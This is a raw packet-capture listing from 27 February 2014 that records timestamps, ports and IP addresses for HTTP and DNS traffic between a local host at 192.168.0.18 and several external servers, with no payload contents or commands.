Feb 27, 2014 17:55:41.990684986 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.990736008 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.990916967 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.990926027 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.990978003 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.991008043 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.159162998 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.226052999 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.226070881 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.226073980 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.226197004 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.248306036 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.248323917 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.248452902 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.248464108 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.248651981 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.270679951 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.270697117 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.270699978 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.270818949 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.281111956 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.281127930 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.281164885 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.281281948 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.281291962 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.281342983 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.336990118 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.337008953 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.337012053 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.337014914 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.337074041 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.337182045 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.337203979 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.337253094 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.337296963 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.487364054 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.592946053 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.592962980 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.592966080 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.593242884 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.615504980 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.615513086 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.615526915 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.615530014 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.615533113 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.615628004 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.615638018 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.615684032 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.615710020 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.626401901 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.626406908 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.627085924 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.627093077 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.627176046 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.731091976 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.731110096 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.731112003 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.731115103 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.731127024 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.731481075 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.731535912 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.731549978 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.731656075 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.752970934 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.752990007 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.752995014 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.753181934 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.763982058 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.763988018 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.764101982 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.764111042 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.764228106 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.845045090 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.845052958 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.845055103 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.845180035 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.866843939 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.866858959 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.866861105 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.867048025 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.867065907 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.867104053 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.888705969 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.888710976 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.888823986 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.888842106 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.888962030 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.932578087 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.932595015 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.932598114 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.932733059 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.954412937 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.954432011 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.954436064 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.954551935 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.954560041 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.954618931 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.976275921 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.976291895 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.976418018 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.976435900 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.976644993 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.987349033 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.987366915 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.987370014 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.988413095 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.988455057 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.998276949 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.998292923 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.998296976 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.998409986 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.998431921 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:42.998635054 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:42.998651981 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.009192944 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.009208918 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.009305000 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.009313107 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.009426117 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.053380966 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.053386927 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.053400040 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.053402901 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.053405046 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.053499937 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.053556919 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.053571939 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.053678989 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.064235926 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.064253092 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.064256907 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.064260006 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.064373970 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.064426899 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.075181961 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.075189114 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.075191975 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.075254917 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.252917051 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.331106901 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.331123114 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.331125975 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.331129074 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.331223965 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.331554890 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.331607103 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.331612110 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.331746101 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.364253044 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.364268064 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.364270926 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.364273071 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.364275932 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.364408970 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.364463091 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.364478111 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.364672899 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.375004053 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.375009060 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.375021935 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.375125885 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.375355005 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.375359058 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.375468016 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.375484943 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.375603914 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.386090994 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.386096001 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.386109114 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.386295080 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.408076048 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.408081055 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.408083916 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.408272028 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.408279896 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.408324957 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.419126034 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.419131041 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.419205904 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.419224024 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.419410944 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.492311001 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.493540049 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.493649960 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.493668079 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.504344940 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.504349947 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.504426956 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.504445076 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.504575968 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.515532970 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.515538931 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.515543938 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.515618086 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.548496962 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.548501968 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.548609018 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.548626900 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.548758030 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.548763037 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.548774958 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.548860073 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.548877001 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.548917055 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.548965931 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.559632063 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.559637070 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.559712887 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.559730053 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:43.559890032 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:43.852251053 MEZ	56556	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:55:44.695162058 MEZ	53	56556	195.186.1.121	192.168.0.18
Feb 27, 2014 17:55:44.703267097 MEZ	1058	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:55:47.089312077 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:47.089437008 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:47.627867937 MEZ	1058	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:55:49.081912041 MEZ	1042	80	192.168.0.18	209.107.220.51
Feb 27, 2014 17:55:50.394615889 MEZ	1055	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:55:52.951862097 MEZ	1059	80	192.168.0.18	95.211.192.195
Feb 27, 2014 17:55:52.951891899 MEZ	80	1059	95.211.192.195	192.168.0.18
Feb 27, 2014 17:55:52.952059984 MEZ	1059	80	192.168.0.18	95.211.192.195
Feb 27, 2014 17:55:52.953211069 MEZ	1059	80	192.168.0.18	95.211.192.195
Feb 27, 2014 17:55:52.953232050 MEZ	80	1059	95.211.192.195	192.168.0.18
Feb 27, 2014 17:55:53.643735886 MEZ	1058	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:05.677803993 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:05.677824020 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:05.677922010 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:05.679759979 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:05.679770947 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:06.729748964 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:06.742623091 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:06.742630005 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:06.742754936 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:06.742763996 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:06.742892027 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:06.775058985 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:06.786103010 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:06.786108971 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:06.786231041 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:06.786240101 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:06.786385059 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:06.892761946 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:06.907605886 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:06.907623053 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:06.907736063 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:06.907743931 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:06.907866955 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:06.956234932 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:06.966301918 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:06.966523886 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:06.966531992 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.006076097 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.006093025 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.006095886 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.006222963 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.006242037 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.006289005 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.016727924 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.016745090 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.016865969 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.016887903 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.017008066 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.017014027 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.027661085 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.027678013 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.027770996 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.027789116 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.027879953 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.126195908 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.175141096 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.175158978 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.175249100 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.175268888 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.175380945 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.185971022 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.187381983 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.187390089 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.187493086 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.187499046 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.187642097 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.197751999 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.197768927 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.197771072 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.197889090 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.209667921 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.209683895 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.209686041 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.209773064 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.209789991 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.209819078 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.220283031 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.220299959 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.220382929 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.220401049 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.220518112 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.220535040 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.231153965 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.231162071 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.231766939 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.231776953 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.231925011 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.327008963 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.328545094 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.328560114 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.328670979 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.328680038 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.328831911 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.338649988 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.338665962 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.338668108 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.338797092 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.407951117 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.408118963 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.408128023 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.408298016 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.408313990 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.408421040 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.408430099 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.408575058 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.414151907 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.436151981 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.436173916 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.436228037 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.436285019 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.436305046 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.436439991 MEZ	1060	80	192.168.0.18	103.8.127.189
